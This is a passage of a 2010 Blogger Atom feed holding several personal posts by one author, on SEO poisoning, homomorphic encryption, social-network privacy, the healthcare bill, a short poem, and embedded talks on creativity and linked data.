/&gt;&lt;blockquote style="font-style: italic;"&gt;The people who push malware love to trap victims via search. Security companies refer to what they do as "SEO (Search Engine Optimization) poisoning." They identify popular search terms, figure out which ones are likely to bring them suitable targets, and then optimize pages so engines like Google and Bing display their results on the first page -- mixed in amongst the non-malicious pages you actually wanted to find.&lt;br /&gt;&lt;br /&gt;So what search words are most likely to get you into trouble? Bearshare (46% malicious sites) and screensaver (42% malicious sites).&lt;/blockquote&gt;The blog post &lt;a href="http://www.symantec.com/connect/blogs/iframes-please-make-way-seo-poisoning"&gt;here&lt;/a&gt; gives an idea of what kinds of black hat SEO techniques are frequently employed by cyber criminals.&lt;br /&gt;&lt;blockquote style="font-style: italic;"&gt;Search engine optimization (SEO) is a collection of techniques used to achieve higher search rankings for a given website. "Black hat SEO" is the method of using unethical SEO techniques in order to obtain a higher search ranking. These techniques include things like keyword stuffing, cloaking, and link farming, which are used to "game" the search engine algorithms.&lt;/blockquote&gt;Cyber criminals also exploits the current hot news (celebrity affairs, death, etc.) at any given time to have search results for malicious pages with high ranks as people are likely to search for such news.&lt;br /&gt;&lt;br /&gt;It is a good idea to make your web sites xss safe. If you are a PHP developer, htmlspecialchars and htmlentities are two very useful functions in this regard.&lt;br /&gt;&lt;br /&gt;If you are a user, think before you click!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-4046249138265074556?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/4046249138265074556/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=4046249138265074556' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4046249138265074556'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4046249138265074556'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/03/seo-poisoning-on-rise.html' title='SEO poisoning on the rise'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-1255186356211784264</id><published>2010-03-24T16:23:00.004-04:00</published><updated>2010-03-24T18:03:02.710-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='thoughts'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Learning/thinking by analogies</title><content type='html'>For people with a computer science background (but not limited to), working with/thinking in analogies is part of life. For example, take design patterns Adapter, Bridge, Observer, Factory, etc.; they are all analogies. Analogies help us understand/solve the problem at hand.&lt;br /&gt;&lt;br /&gt;I found the following analogy appeared in an &lt;a href="http://portal.acm.org/citation.cfm?id=1666420.1666444"&gt;article&lt;/a&gt; in ACM Communications March 2010 issue interesting:&lt;br /&gt;&lt;br /&gt;&lt;blockquote style="font-style: italic;"&gt;Alice owns a jewelry store. She has raw precious materials—gold, diamonds, silver, etc.—that she wants her workers to assemble into intricately designed rings and necklaces. But she distrusts her workers and assumes that they will steal her jewels if given the opportunity. In other words, she wants her workers to process the materials into finished pieces, without giving them access to the materials. What does she do?&lt;br /&gt;&lt;br /&gt;Here is her plan. She uses a transparent impenetrable glovebox, secured by a lock for which only she has the key. She puts the raw precious materials inside the box, locks it, and gives it to a worker. Using the gloves, the worker assembles the ring or necklace inside the box. Since the box is impenetrable, the worker cannot get to the precious materials, and figures he might as well return the box to Alice, with the finished piece inside. Alice unlocks the box with her key and extracts the ring or necklace. In short, the worker processes the raw materials into a finished piece, without having true access to the materials.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Cryptographically speaking ;), this is what we try to achieve with computation over encrypted data! (Note: this analogy does NOT fully represent this goal as the authors themselves point out)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-1255186356211784264?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/1255186356211784264/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=1255186356211784264' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/1255186356211784264'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/1255186356211784264'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/03/learningthinking-by-analogies.html' title='Learning/thinking by analogies'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-362676751049670361</id><published>2010-03-22T20:02:00.004-04:00</published><updated>2010-03-22T20:53:31.209-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='thoughts'/><title type='text'>rebuff huff  'n puff</title><content type='html'>Creative!&lt;br /&gt;(decoded title: say no to smoking)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://maxcdn.thedesigninspiration.com/wp-content/uploads/2009/05/smoking/smoking-hang-man-l.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 552px; height: 294px;" src="http://maxcdn.thedesigninspiration.com/wp-content/uploads/2009/05/smoking/smoking-hang-man-l.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.adpunch.org/images/arab-anti-smoking_25.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 450px; height: 312px;" src="http://www.adpunch.org/images/arab-anti-smoking_25.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://maxcdn.thedesigninspiration.com/wp-content/uploads/2009/05/smoking/smoking-shorten-life-ll.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 552px; height: 294px;" src="http://maxcdn.thedesigninspiration.com/wp-content/uploads/2009/05/smoking/smoking-shorten-life-ll.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_NpINLHeo8rM/RzwpSwVhrlI/AAAAAAAAJsM/shqCu2P2Id8/s400/Anti-Smoking%2BAds%2B5.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 286px;" src="http://3.bp.blogspot.com/_NpINLHeo8rM/RzwpSwVhrlI/AAAAAAAAJsM/shqCu2P2Id8/s400/Anti-Smoking%2BAds%2B5.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-362676751049670361?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/362676751049670361/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=362676751049670361' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/362676751049670361'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/362676751049670361'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/03/rebuff-huff-n-puff.html' title='rebuff huff  &apos;n puff'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_NpINLHeo8rM/RzwpSwVhrlI/AAAAAAAAJsM/shqCu2P2Id8/s72-c/Anti-Smoking%2BAds%2B5.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-7650724506100158224</id><published>2010-03-22T11:00:00.003-04:00</published><updated>2010-03-22T20:50:56.745-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='healthcare'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>How will the healthcare bill affect medicine?</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.salon.com/news/feature/2010/03/19/healthcare_facts_slideshow/08.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 300px; height: 200px;" src="http://www.salon.com/news/feature/2010/03/19/healthcare_facts_slideshow/08.jpg" alt="" border="0" /&gt;&lt;/a&gt;(The traditional way of managing medical records)&lt;br /&gt;&lt;/div&gt;From "&lt;a href="http://www.salon.com/news/feature/2010/03/19/healthcare_facts_slideshow/slideshow.html"&gt;10 things you need to know about the healthcare bill&lt;/a&gt;":&lt;br /&gt;&lt;br /&gt;&lt;blockquote style="font-style: italic;"&gt;The bill includes incentives to use more electronic medical records, which should make healthcare more efficient and effective. It would set up pilot programs for medical malpractice tort reform. Community health clinics, which help serve people who often don't have access to other forms of care, would get more funding. Medicare payments would be linked to quality of care, which should shift more providers toward evidence-based standards to see how well treatments work. &lt;p&gt;Other pilot programs would be set up to study how to improve public health in general, and improve care for people with chronic diseases, rural patients and other groups. The goal is to improve the quality of care while holding the costs down.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-7650724506100158224?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/7650724506100158224/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=7650724506100158224' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/7650724506100158224'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/7650724506100158224'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/03/how-will-healthcare-bill-affect.html' title='How will the healthcare bill affect medicine?'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-1789146799231103238</id><published>2010-03-19T18:56:00.006-04:00</published><updated>2010-03-19T21:04:35.934-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='thoughts'/><title type='text'>spring..</title><content type='html'>When the snow vanishes from the ground&lt;br /&gt;And no cold breeze is to be found&lt;br /&gt;The feeling of thankfulness is profound&lt;br /&gt;As I know that the spring is around&lt;br /&gt;The corner with fresh hope&lt;br /&gt;And I feel like nothing is out of my scope&lt;br /&gt;Trees will slowly and surely start to blossom&lt;br /&gt;Reminding me how awesome&lt;br /&gt;It is to be alive&lt;br /&gt;And a convertible can I drive :)&lt;br /&gt;~Nabeel&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-1789146799231103238?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/1789146799231103238/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=1789146799231103238' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/1789146799231103238'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/1789146799231103238'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/03/spring.html' title='spring..'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-4042838755279491479</id><published>2010-03-17T20:15:00.003-04:00</published><updated>2010-03-18T09:08:07.189-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='social networks'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>To friend or not to</title><content type='html'>I don't mean to be paranoid here, but you better think twice before you become friend with someone in a social network.&lt;br /&gt;&lt;br /&gt;It may be an &lt;a href="http://www.huffingtonpost.com/2010/03/16/fbi-uses-fake-facebook-pr_n_500776.html"&gt;undercover&lt;/a&gt; &lt;a href="http://www.wired.com/threatlevel/2010/03/undercover-feds-on-facebook"&gt;agent&lt;/a&gt; &lt;a href="http://news.yahoo.com/s/ap/20100316/ap_on_go_ca_st_pe/us_feds_on_facebook"&gt;that&lt;/a&gt; you are accepting as a friend; this could lead to privacy violations if you are an innocent party.&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-style: italic;"&gt;Law enforcement agents are following the rest of the Internet world into popular social-networking services, even going undercover with false online profiles to communicate with suspects and gather private information, according to an internal Justice Department document that surfaced in a lawsuit.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;Want to know how they do it and what they can obtain? read up &lt;a href="http://www.wired.com/images_blogs/threatlevel/2010/03/social-networking-for-law-enforcement.pdf"&gt;here&lt;/a&gt;.&lt;br /&gt;I don't mind if they use social networks to uncover only those who did something wrong or really questionable, but it would be naive for me to think so.&lt;br /&gt;&lt;br /&gt;&lt;blockquote style="font-style: italic;"&gt;Facebook's rules, for example, specify that users "will not provide any false personal information on Facebook, or create an account for anyone other than yourself without permission." Twitter's rules prohibit users from sending deceptive or false information. MySpace requires that information for accounts be "truthful and accurate."&lt;br /&gt;&lt;/blockquote&gt;I am confused now; can I prosecute an undercover agent on the above ground?&lt;br /&gt;&lt;br /&gt;It may be &lt;a href="http://www.wired.com/threatlevel/2008/11/defense-lori-dr/"&gt;someone&lt;/a&gt; &lt;a href="http://en.wikipedia.org/wiki/United_States_v._Lori_Drew"&gt;impersonating&lt;/a&gt; someone else for totally different reason:&lt;br /&gt;&lt;blockquote style="font-style: italic;"&gt;Around September 20, 2006, Lori Drew created the &lt;a href="http://en.wikipedia.org/wiki/MySpace" title="MySpace"&gt;&lt;/a&gt;Myspace account for the "Josh Evans" alias. At the time Drew operated the Josh Evans MySpace account, she was aware that Meier had been taking antidepressant medication. Meier committed suicide as a result of the bullying.&lt;br /&gt;&lt;/blockquote&gt;It may be someone who tries to defame you by associating you with something that you are not. For example, tagging you in an image that is not socially acceptable or writing defamatory/incorrect remarks about you on your wall.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;How do you know if a person is who he/she claims to be in a social network? Well, there's no formula for that. But it is in general a good idea to check the mutual friends a person has before accepting the request. It may not work in some cases. What if some of your friends have already been fooled to be friends with that person? (which I have encountered at least a few times already)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-4042838755279491479?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/4042838755279491479/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=4042838755279491479' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4042838755279491479'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4042838755279491479'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/03/to-friend-or-not-to.html' title='To friend or not to'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-2139914962653565674</id><published>2010-03-17T16:57:00.005-04:00</published><updated>2010-03-18T00:42:04.473-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='social networks'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>How privacy vanishes online and some thoughts</title><content type='html'>Very timely &lt;a href="http://www.nytimes.com/2010/03/17/technology/17privacy.html"&gt;article&lt;/a&gt;:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;"If a stranger came up to you, would you say your email address, your phone number?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;If you have a not so close friend would you tell your DoB to him/her?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Probably not..yet people say it on the Internet."&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;“Personal privacy is no longer an individual thing: In today’s online world, what your mother told you is true, only more so: people really can judge you by your friends.”&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As the article also briefly mentions, you may think that innocuous attributes such as where you work, your current location, where and what you studied, etc. will not lead to identify you as a unique individual. However, there is research indicating that the aggregation of these small small things can lead to something powerful even to the extent to identify your social security number.  Actually, one of my research goals is to minimize the revelation of use innocuous credentials used as part of access controlling in service consumption scenarios. In other words, the question is "how do I get the service with no or minimal disclosure of credentials yet convincing the service provider?"&lt;br /&gt;&lt;br /&gt;Another question I am in search of answers is "how much privacy do I loose by revealing different bits of information in different places in the Internet?".  Intuitively, as you reveal more attributes about you, you become easier to identify. How does this relationship vary - is your identifiability proportional to something about your attributes? Some attributes reveal more than others. My next question is about identifying that "something"; "Can we capture this notion in an information theoretic way?"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-2139914962653565674?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/2139914962653565674/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=2139914962653565674' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/2139914962653565674'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/2139914962653565674'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/03/how-privacy-vanishes-online-and-some.html' title='How privacy vanishes online and some thoughts'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-1463992365473256043</id><published>2010-03-17T11:59:00.007-04:00</published><updated>2010-03-18T00:53:39.375-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cryptography'/><category scheme='http://www.blogger.com/atom/ns#' term='encryption'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='cloud computing'/><title type='text'>Computation over encrypted data [Crypto]</title><content type='html'>The following diagram shows the ideal situation:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_tMhXppp4NpE/S6D-rB3AHyI/AAAAAAAACZ8/xHMbRzp2sLw/s1600-h/computation.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 135px;" src="http://3.bp.blogspot.com/_tMhXppp4NpE/S6D-rB3AHyI/AAAAAAAACZ8/xHMbRzp2sLw/s320/computation.png" alt="" id="BLOGGER_PHOTO_ID_5449635564305260322" border="0" /&gt;&lt;/a&gt;The objective is to perform a general computation over encrypted data so that the party that performs the computation learns neither the input values nor the result of the computation (over a finite field). The computation to be performed (e.g. eigenvalue computation, null space computation, Gaussian elimination, etc.) is public (i.e. known to everyone). Theoretically speaking, one can achieve the above objective using a SMC (Secure Multiparty Computation) protocols by evaluating a scrambled Boolean circuit. However, it is not practical.&lt;br /&gt;&lt;br /&gt;Two popular practical techniques that we can use:&lt;br /&gt;1. Commutative encryption (Pohlig-Hellman)&lt;br /&gt;2. Homomorphic encryption (Paillier, Damgard, Unpadded RSA, Benaloh, ElGamal, etc.)&lt;br /&gt;&lt;br /&gt;Since I am interested in one off computation, IMO, homomorphic encryption is the most suitable here. Computations over finite fields, in general, involves two binary operations (e.g. addition and multiplication). However, all the practical homomorphic crypto systems are homomorphic to only one operation. (E.g.: addition - Paillier, Damgard, Benaloh; multiplication - Unpadded RSA, Elgamal). It should be noted that mid last year, IBM published &lt;a href="http://domino.research.ibm.com/comm/research_projects.nsf/pages/security.homoenc.html/$FILE/stocdhe.pdf"&gt;a paper&lt;/a&gt; on a fully homomorphic encryption using ideal lattices, but it is &lt;a href="http://www.schneier.com/blog/archives/2009/07/homomorphic_enc.html"&gt;computationally intensive and thus not suitable for real applications&lt;/a&gt;. So, it is still an open problem to invent a practical fully homomorphic encryption. Until such an invention, we need to rely on specialized protocols to solve the afore mentioned problem.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-1463992365473256043?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/1463992365473256043/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=1463992365473256043' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/1463992365473256043'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/1463992365473256043'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/03/computation-over-encrypted-data-crypto.html' title='Computation over encrypted data [Crypto]'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_tMhXppp4NpE/S6D-rB3AHyI/AAAAAAAACZ8/xHMbRzp2sLw/s72-c/computation.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-1854114306413722688</id><published>2010-03-17T10:35:00.003-04:00</published><updated>2010-03-18T00:43:33.036-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='creativity'/><title type='text'>Sir Ken Robinson: Do schools/universities kill creativity?</title><content type='html'>Very valid points!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width="480" height="385"&gt;&lt;param name="movie" value="http://www.youtube.com/v/iG9CE55wbtY&amp;amp;hl=en_US&amp;amp;fs=1&amp;amp;"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/iG9CE55wbtY&amp;amp;hl=en_US&amp;amp;fs=1&amp;amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;The points that made me think most were the facts that our education system stigmatizes mistakes and schools/universities are like factories that produce people to work in the industry.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-1854114306413722688?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/1854114306413722688/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=1854114306413722688' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/1854114306413722688'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/1854114306413722688'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/03/sir-ken-robinson-do-schoolsuniversities.html' title='Sir Ken Robinson: Do schools/universities kill creativity?'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-3833055057622065389</id><published>2010-03-15T10:12:00.001-04:00</published><updated>2010-03-18T00:43:58.326-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='drm'/><category scheme='http://www.blogger.com/atom/ns#' term='fun'/><title type='text'>Why DRM doesn't work ;)</title><content type='html'>&lt;a href="http://www.geekologie.com/2010/02/25/piracy-full.jpg"&gt;here&lt;/a&gt; and &lt;a href="http://www.bradcolbow.com/archive.php/?p=205"&gt;here&lt;/a&gt; ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-3833055057622065389?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/3833055057622065389/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=3833055057622065389' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/3833055057622065389'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/3833055057622065389'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/03/why-drm-doesnt-work.html' title='Why DRM doesn&apos;t work ;)'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-7967711583280265750</id><published>2010-03-08T16:03:00.004-05:00</published><updated>2010-03-18T00:44:24.830-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linked data'/><title type='text'>TBL on linked data</title><content type='html'>The talk is about one year old, but still interesting and current. This year's ICDE conference also had some interesting papers on topics related one way or the other to linked data.&lt;br /&gt;&lt;br /&gt;&lt;object width="640" height="385"&gt;&lt;param name="movie" value="http://www.youtube.com/v/OM6XIICm_qo&amp;amp;hl=en_US&amp;amp;fs=1&amp;amp;"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/OM6XIICm_qo&amp;amp;hl=en_US&amp;amp;fs=1&amp;amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-7967711583280265750?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/7967711583280265750/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=7967711583280265750' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/7967711583280265750'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/7967711583280265750'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/03/tbl-on-linked-data.html' title='TBL on linked data'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 